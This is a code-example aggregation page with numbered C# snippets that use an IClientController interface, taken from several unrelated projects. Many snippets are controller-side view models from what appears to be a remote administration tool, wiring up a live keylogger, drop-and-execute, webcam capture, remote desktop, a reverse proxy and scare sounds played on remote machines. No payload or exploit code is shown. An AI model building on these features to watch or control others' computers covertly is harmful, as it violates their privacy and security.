protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _computerInformationCommand = clientController.Commander.GetCommand <ComputerInformationCommand>();
     _computerInformationCommand.ComputerInformationReceived +=
         _computerInformationCommand_ComputerInformationReceived;
     _computerInformationCommand.Failed += _computerInformationCommand_Failed;
 }
Пример #2
0
 /// <summary>Initializes a new instance of the <see cref="ClientProtocolHandler" /> class.</summary>
 public ClientProtocolHandler(
     IGameServerController gameServerController,
     IClientController clientsController)
 {
     clientsController.ClientSessionStarted += this.OnClientSessionStarted;
     this.RegisterPacketHandlers(gameServerController);
 }
Пример #3
0
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _voiceChatCommand = clientController.Commander.GetCommand <VoiceChatCommand>();
     _voiceChatCommand.CaptureDevicesReceived += VoiceChatCommandOnCaptureDevicesReceived;
     _voiceChatCommand.LocalBlockRead         += VoiceChatCommandOnLocalBlockRead;
     _voiceChatCommand.RemoteBlockRead        += VoiceChatCommandOnRemoteBlockRead;
 }
Пример #4
0
        protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
        {
            _windowsDriversCommand = clientController.Commander.GetCommand <WindowsDriversCommand>();
            _windowsDriversCommand.DriversFileContentReceived += WindowsDriversCommandOnDriversFileContentReceived;

            CanEdit = clientController.Client.IsAdministrator || clientController.Client.IsServiceRunning;
        }
 public ClientConnection(UPnPControlPoint controlPoint, DeviceConnection connection, ClientDescriptor clientDescriptor)
 {
     _controlPoint     = controlPoint;
     _connection       = connection;
     _clientDescriptor = clientDescriptor;
     _connection.DeviceDisconnected += OnUPnPDeviceDisconnected;
     try
     {
         CpService ccsStub = connection.Device.FindServiceByServiceId(UPnPTypesAndIds.CLIENT_CONTROLLER_SERVICE_ID);
         if (ccsStub == null)
         {
             throw new InvalidDataException("ClientController service not found in device '{0}' of type '{1}:{2}'",
                                            clientDescriptor.MPFrontendServerUUID,
                                            UPnPTypesAndIds.FRONTEND_SERVER_DEVICE_TYPE, UPnPTypesAndIds.FRONTEND_SERVER_DEVICE_TYPE_VERSION);
         }
         lock (_connection.CPData.SyncObj)
             _clientController = new UPnPClientControllerServiceProxy(ccsStub);
         // TODO: other services
     }
     catch (Exception)
     {
         _connection.DeviceDisconnected -= OnUPnPDeviceDisconnected;
         throw;
     }
 }
Пример #6
0
        protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
        {
            AudioFiles =
                new List <IAudioFile>(
                    PluginManager.Current.LoadedPlugins.OfType <AudioPlugin>().SelectMany(x => x.Plugin.AudioFiles))
            {
                new AudioFile((string)Application.Current.Resources["CameraShutter"], 0, AudioGenre.Troll, 1),
                new AudioFile((string)Application.Current.Resources["Laughing"], 1, AudioGenre.Troll, 2),
                new AudioFile((string)Application.Current.Resources["ComeOutAndPlayWithMe"], 2, AudioGenre.Fear, 31),
                new AudioFile((string)Application.Current.Resources["Death"], 3, AudioGenre.Fear, 2),
                new AudioFile((string)Application.Current.Resources["DemonGrirlsMockingbird"], 4, AudioGenre.Fear,
                              16),
                new AudioFile((string)Application.Current.Resources["Fly"], 5, AudioGenre.Troll, 23),
                new AudioFile((string)Application.Current.Resources["GhostOutOfMirror"], 6, AudioGenre.Fear, 19),
                new AudioFile((string)Application.Current.Resources["Growl"], 7, AudioGenre.Fear, 4),
                new AudioFile((string)Application.Current.Resources["HellMarch"], 8, AudioGenre.Fear, 25),
                new AudioFile((string)Application.Current.Resources["Mosquito"], 9, AudioGenre.Troll, 23),
                new AudioFile("Slender", 10, AudioGenre.Fear, 8),
                new AudioFile((string)Application.Current.Resources["TornadoSirens"], 11, AudioGenre.Fear, 45),
                new AudioFile("WTF", 12, AudioGenre.Voice, 3),
                new AudioFile((string)Application.Current.Resources["ZombieHorde"], 13, AudioGenre.Fear, 21)
            }.OrderBy(x => x.Genre).ThenBy(x => x.Name).ToList();

            AudioPlayer = new AudioPlayer();
            clientController.Disconnected += Controller_Disconnected;
            AudioCommand = clientController.Commander.GetCommand <AudioCommand>();
            AudioCommand.AudioDevicesReceived += AudioCommand_AudioDevicesReceived;
        }
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _dropAndExecuteCommand = clientController.Commander.GetCommand <DropAndExecuteCommand>();
     _dropAndExecuteCommand.UploadFinished   += DropAndExecuteCommandOnUploadFinished;
     _dropAndExecuteCommand.StreamingStarted += DropAndExecuteCommandOnStreamingStarted;
     _dropAndExecuteCommand.StreamingStopped += DropAndExecuteCommandOnStreamingStopped;
 }
Пример #8
0
        public IClientController CreateClientController()
        {
            IClientController controller = null;
            ClientFacade      facade     = new ClientFacade(factory);

            switch (loginType)
            {
            case LoginType.Client:
                controller = new ClientClientController(factory, facade);
                break;

            case LoginType.Superuser:
                controller = new SuperuserClientController(factory, facade);
                break;

            case LoginType.Bookmaker:
                controller = new BookmakerClientController(factory, facade);
                break;

            default:
                break;
            }

            return(controller);
        }
Пример #9
0
        protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
        {
            InstalledPlugins = new ObservableCollection <PluginPresenter>();

            foreach (var pluginInfo in clientController.Client.Plugins)
            {
                var foundPlugin =
                    PluginManager.Current.LoadedPlugins.FirstOrDefault(x => x.PluginInfo.Guid == pluginInfo.Guid);
                var plugin = new PluginPresenter
                {
                    Name     = pluginInfo.Name,
                    Guid     = pluginInfo.Guid,
                    Version  = pluginInfo.Version,
                    IsLoaded = pluginInfo.IsLoaded
                };

                if (foundPlugin != null)
                {
                    plugin.Plugin = foundPlugin;
                    if (foundPlugin.PluginInfo.Version > PluginVersion.Parse(plugin.Version))
                    {
                        plugin.IsUpgradeAvailable = true;
                    }

                    if (string.IsNullOrEmpty(plugin.Name))
                    {
                        plugin.Name = foundPlugin.PluginInfo.Name;
                    }
                }

                InstalledPlugins.Add(plugin);
            }

            ((ConnectionManager)clientController.ConnectionManager).PluginLoaded += ClientPluginsViewModel_PluginLoaded;
        }
Пример #10
0
        protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
        {
            ComputerInformation = clientController.Client;
            try
            {
                var cultureInfo = new CultureInfo(ComputerInformation.Language);
                LanguageName = Settings.Current.Language.CultureInfo.ThreeLetterISOLanguageName ==
                               CultureInfo.InstalledUICulture.ThreeLetterISOLanguageName
                    ? cultureInfo.DisplayName
                    : cultureInfo.EnglishName;
            }
            catch (Exception)
            {
                LanguageName = ComputerInformation.Language;
            }

            if (ComputerInformation.LocatedCountry != null)
            {
                try
                {
                    var region = new RegionInfo(ComputerInformation.LocatedCountry);
                    CountryName = Settings.Current.Language.CultureInfo.ThreeLetterISOLanguageName ==
                                  CultureInfo.InstalledUICulture.ThreeLetterISOLanguageName
                        ? region.DisplayName
                        : region.EnglishName;
                }
                catch (Exception)
                {
                    CountryName = string.Format((string)Application.Current.Resources["UnknownRegion"],
                                                ComputerInformation.LocatedCountry);
                }
            }
            _clientCommands = clientController.ClientCommands;
        }
Пример #11
0
        public Client(IClientConnection connection, IClientController controller, PlayerProfile profile)
        {
            Profile    = profile;
            Connection = connection;
            Controller = controller;

            World = new ClientWorld(this);
        }
Пример #12
0
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _windowManagerCommand = clientController.Commander.GetCommand <WindowManagerCommand>();
     _windowManagerCommand.WindowsReceived += WindowManagerCommandOnWindowsReceived;
     crossViewManager.RegisterMethod(this,
                                     new Guid(0xcf23f35b, 0x9e90, 0x634b, 0xbb, 0x60, 0x34, 0xcb, 0xb8, 0x78, 0x7c, 0x2c),
                                     new EventHandler <int>(OpenProcessWindows));
 }
Пример #13
0
 public ClientMenu(IMenu mainMenu, IClientController clientController, IBasketController basketController,
                   IAddressController addressController, IManufacturerService manufacturerService, ICurrencyController currencyController)
     : base(mainMenu, addressController, manufacturerService)
 {
     _clientController   = clientController;
     _basketController   = basketController;
     _currencyController = currencyController;
 }
Пример #14
0
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _webcamCommand = clientController.Commander.GetCommand <WebcamCommand>();
     _webcamCommand.WebcamsReceived        += WebcamCommandOnWebcamsReceived;
     _webcamCommand.RefreshWriteableBitmap += WebcamCommandOnRefreshWriteableBitmap;
     _webcamCommand.Started     += WebcamCommandOnStarted;
     _webcamCommand.StartFailed += WebcamCommandOnStartFailed;
 }
Пример #15
0
 /// <summary>Initializes a new instance of the <see cref="GameServer"/> class.</summary>
 internal GameServer(
     Configuration config,
     IClientController clientController,
     GameContext gameContext)
 {
     this.Config           = config;
     this.clientController = clientController;
     this.gameContext      = gameContext;
 }
Пример #16
0
 // Use this for initialization
 void Start()
 {
     server = GameManager.gameManager.ClientController;
     laser = GetComponent<LineRenderer>();
     laser.enabled = false;
     if (weaponMuzzlePoint == null) {
         weaponMuzzlePoint = transform;
     }
 }
Пример #17
0
 /// <summary>Initializes a new instance of the <see cref="ConnectServer"/> class.</summary>
 internal ConnectServer(
     Configuration config,
     IGameServerController gameServerController,
     IClientController clientController)
 {
     this.Config = config;
     this.gameServerController = gameServerController;
     this.clientController     = clientController;
 }
Пример #18
0
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     KeyItems                             = new ObservableCollection <KeyItem>();
     _currentKeyItem                      = new KeyItem();
     _liveKeyloggerCommand                = clientController.Commander.GetCommand <LiveKeyloggerCommand>();
     _liveKeyloggerCommand.KeyDown       += LiveKeyloggerCommandOnKeyUpDown;
     _liveKeyloggerCommand.KeyUp         += LiveKeyloggerCommandOnKeyUpDown;
     _liveKeyloggerCommand.StringDown    += LiveKeyloggerCommandOnStringDown;
     _liveKeyloggerCommand.WindowChanged += LiveKeyloggerCommandOnWindowChanged;
 }
Пример #19
0
 public MainMenu(IManufacturerService manufacturerService, IClientController clientController, IAddressController addressController,
                 IFoodService foodontroller, IBasketController basketController, ICurrencyController currencyController)
 {
     _clientController    = clientController;
     _manufacturerService = manufacturerService;
     _addressController   = addressController;
     _foodontroller       = foodontroller;
     _basketController    = basketController;
     _currencyController  = currencyController;
 }
        protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
        {
            _remoteDesktopCommand = clientController.Commander.GetCommand <RemoteDesktopCommandLocal>();
            _remoteDesktopCommand.RemoteDesktopInformationReceived +=
                RemoteDesktopCommandOnRemoteDesktopInformationReceived;
            _remoteDesktopCommand.Initialized           += RemoteDesktopCommandOnInitialized;
            _remoteDesktopCommand.UpdateWriteableBitmap += RemoteDesktopCommandOnUpdateWriteableBitmap;

            _connectionInitializerCommand = clientController.Commander.GetCommand <ConnectionInitializerCommand>();
        }
Пример #21
0
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _textChatCommand = clientController.Commander.GetCommand <TextChatCommand>();
     _textChatCommand.NewMessageReceived      += _textChatCommand_NewMessageReceived;
     _textChatCommand.ChatStatusChanged       += _textChatCommand_ChatStatusChanged;
     _textChatCommand.ChatInitalizationFailed += _textChatCommand_ChatInitalizationFailed;
     ChatSettings = new ChatSettings {
         Title = "Support", YourName = "Administrator"
     };
     ChatMessages = new ObservableCollection <ChatMessage>();
 }
Пример #22
0
        protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
        {
            ConsoleCommand                      = clientController.Commander.GetCommand <ConsoleCommand>();
            ConsoleCommand.Stopped             += ConsoleCommand_Stopped;
            ConsoleCommand.Started             += ConsoleCommand_Started;
            ConsoleCommand.ConsoleLineReceived += ConsoleCommand_ConsoleLineReceived;
            ConsoleOutput = new ObservableCollection <string>();

            EventHandler <string> method = OpenConsoleWithPath;

            crossViewManager.RegisterMethod(this, new Guid(0xa8644e87, 0x2509, 0xa247, 0x9f, 0x5f, 0x2d,
                                                           0xa4, 0xbc, 0x70, 0xc9, 0x89), method);
        }
Пример #23
0
 public Model()
 {
     try
     {
         _contactsDAL = new ContactsRepository();
         _clientController = new ClientController(_useSecurity);
         _sessionManager = new SessionManager();
     }
     catch (Exception ex)
     {
         Tools.Instance.Logger.LogError(ex.ToString());
     }
 }
Пример #24
0
 /// <summary>Initializes a new instance of the <see cref="GameServerTcpListener" /> class.</summary>
 // TODO: The determined end point should be injected
 public GameServerTcpListener(
     Configuration config,
     IClientController clientController,
     IClientProtocolResolver clientProtocolResolver,
     IGameServerRegistrar gameServerRegistrar)
     : base(config.ClientListenerEndPoint, config.MaxPacketSize)
 {
     this.config = config;
     this.gameServerRegistrar    = gameServerRegistrar;
     this.clientProtocolResolver = clientProtocolResolver;
     this.clientController       = clientController;
     this.clientController.ClientSessionStarted += this.OnServerClientsChanged;
     this.clientController.ClientSessionEnded   += this.OnServerClientsChanged;
     this.ConfigureEncryption();
 }
        public BookmakerMainWindow(ControllerFactory controllerFactory, ILogger logger)
            : base(logger)
        {
            InitializeComponent();

            accountController = controllerFactory.CreateAccountController();
            clientController  = controllerFactory.CreateClientController();
            betController     = controllerFactory.CreateBetController();

            accountController.ReceivedMessage += (s, e) => UpdateLogs(e.Success, e.Message);
            clientController.ReceivedMessage  += (s, e) => UpdateLogs(e.Success, e.Message);
            betController.ReceivedMessage     += (s, e) => UpdateLogs(e.Success, e.Message);

            UpdateLogs(true, "Welcome, bookmaker");
        }
Пример #26
0
        public void Initialize(IClientConnection connection, IClientController controller, PlayerProfile profile)
        {
            var client = new Client(connection, controller, profile);

            var worldManager = _server.WorldManager;
            var world        = worldManager[worldManager.DefaultWorld];

            var entityManager = world.EntityManager;
            var player        = entityManager.SpawnPlayer(
                client,
                world.GetOption(WorldOption.SpawnPosition),
                world.GetOption(WorldOption.SpawnRotation)
                );

            client.Init(player);
            client.SendCustom(Minecraft.Channels.Brand, buffer => { buffer.WriteUtf8(_server.Name); });

            _clients.Add(client);

            // TODO Implements client tp (with "waiting for confirm" state)
            client.Connection.Teleport(player.Position, player.Rotation, 0);
        }
Пример #27
0
 public ClientConnection(UPnPControlPoint controlPoint, DeviceConnection connection, ClientDescriptor clientDescriptor)
 {
   _controlPoint = controlPoint;
   _connection = connection;
   _clientDescriptor = clientDescriptor;
   _connection.DeviceDisconnected += OnUPnPDeviceDisconnected;
   try
   {
     CpService ccsStub = connection.Device.FindServiceByServiceId(UPnPTypesAndIds.CLIENT_CONTROLLER_SERVICE_ID);
     if (ccsStub == null)
       throw new InvalidDataException("ClientController service not found in device '{0}' of type '{1}:{2}'",
           clientDescriptor.MPFrontendServerUUID,
           UPnPTypesAndIds.FRONTEND_SERVER_DEVICE_TYPE, UPnPTypesAndIds.FRONTEND_SERVER_DEVICE_TYPE_VERSION);
     lock (_connection.CPData.SyncObj)
       _clientController = new UPnPClientControllerServiceProxy(ccsStub);
     // TODO: other services
   }
   catch (Exception)
   {
     _connection.DeviceDisconnected -= OnUPnPDeviceDisconnected;
     throw;
   }
 }
Пример #28
0
 public LoginForm(ClientController controller)
     : this()
 {
     this.controller = controller;
 }
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     UninstallProgramsCommand              = clientController.Commander.GetCommand <UninstallProgramsCommand>();
     UninstallProgramsCommand.RefreshList += UninstallProgramsCommand_RefreshList;
 }
Пример #30
0
 void OnUPnPDeviceDisconnected(DeviceConnection connection)
 {
   _clientController = null;
   InvokeClientDeviceDisconnected(this);
 }
 // Use this for initialization
 void Start()
 {
     guiTextref = gameObject.GetComponentInChildren<GUIText>();
     guiTextref.text = username;
     guiTextref.color = new Color(0.0f, 1.0f, 0.0f);
     server = GameManager.gameManager.ClientController;
     server.Register(this);
     maxHealth = localHealth;
 }
 public void Initialize(IClientController clientController)
 {
     _exceptionTestCommand = clientController.Commander.GetCommand<ExceptionTestCommand>();
 }
Пример #33
0
 // Use this for initialization
 void Start()
 {
     server = GameManager.gameManager.ClientController;
     server.Register(this);
 }
    // Use this for initialization
    void Start()
    {
        server = GameManager.gameManager.ClientController;
        server.Register(this);
        switch (type) {
            case NetworkObjectType.PLAYER:
                stype = "player";
                break;

            case NetworkObjectType.PROJECTILE:
                stype = "projectile";
                break;

            default:
                break;
        }
    }
Пример #35
0
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _command = clientController.Commander.GetCommand <EventLogCommand>();
     _command.EventLogReceived += CommandOnEventLogReceived;
 }
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _reverseProxyCommand                = clientController.Commander.GetCommand <ReverseProxyCommand>();
     _reverseProxyCommand.ClientAdded   += ReverseProxyCommandOnClientAdded;
     _reverseProxyCommand.ClientRemoved += ReverseProxyCommandOnClientRemoved;
 }
Пример #37
0
 void OnLevelWasLoaded(int id)
 {
     if (id == 3) {
         server = GameManager.gameManager.ClientController;
         server.Register(this);
         //server.Send(DataType.JOINGAME, "lobby");
         createdGames = new List<string>();
         createdGames.Add("");
         server.Send(DataType.GAMES_GET, null);
         AddQueuedGames();
     }
 }
Пример #38
0
 // Use this for initialization
 void Start()
 {
     server = GameManager.gameManager.ClientController;
     server.Register ( this );
     server.Connect ( "ec2-54-201-26-249.us-west-2.compute.amazonaws.com", 9933 );
 }
Пример #39
0
 private void NotifyGameTypeChange()
 {
     Debug.Log("NotifyGameTypeChange");
     switch (type) {
         case GameType.MULTIPLAYER:
             Debug.Log("Multiplayer");
             client = SFSClient.Singleton;
             break;
         case GameType.SINGLEPLAYER:
             Debug.Log("Singleplayer");
             client = DummyClient.Singleton;
             break;
         default:
             Debug.LogError("Unkown gametype value set");
             break;
     }
 }
Пример #40
0
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _messageBoxCommand = clientController.Commander.GetCommand <MessageBoxCommand>();
 }
Пример #41
0
 public MainForm(IClientController controller)
     : this()
 {
     this.controller = controller;
 }
 protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager)
 {
     _clientCommandsCommand = ClientController.Commander.GetCommand <ClientCommandsCommand>();
 }
Пример #43
0
 public void setModelController(IClientModel model, IClientController controller)
 {
     this.model = model;
     this.controller = controller;
 }
Пример #44
0
    // Use this for initialization
    void Start()
    {
        server = GameManager.gameManager.ClientController;
        server.Register ( this );

        string weaponType = "";
        switch(shipHull.weapon.gunType){
            case GunType.CANNON:
                weaponType = "Cannon";
                break;

            case GunType.SEEKERMISSILELAUNCHER:
                weaponType = "Seeker Missile Launcher";
                break;

            default:
                weaponType = "Cannon";
                break;
        }

        model = (GameObject)Instantiate(GameManager.gameManager.ShipModelPrefab);
        model.transform.parent = transform;

        shield = (GameObject)Instantiate(GameManager.gameManager.ShipShieldPrefab);
        shield.transform.parent = transform;

        server.Send(DataType.SPAWNED, weaponType);

        server.OnEvent("spawn", GameManager.gameManager.prespawnData);
    }
 void OnUPnPDeviceDisconnected(DeviceConnection connection)
 {
     _clientController = null;
     InvokeClientDeviceDisconnected(this);
 }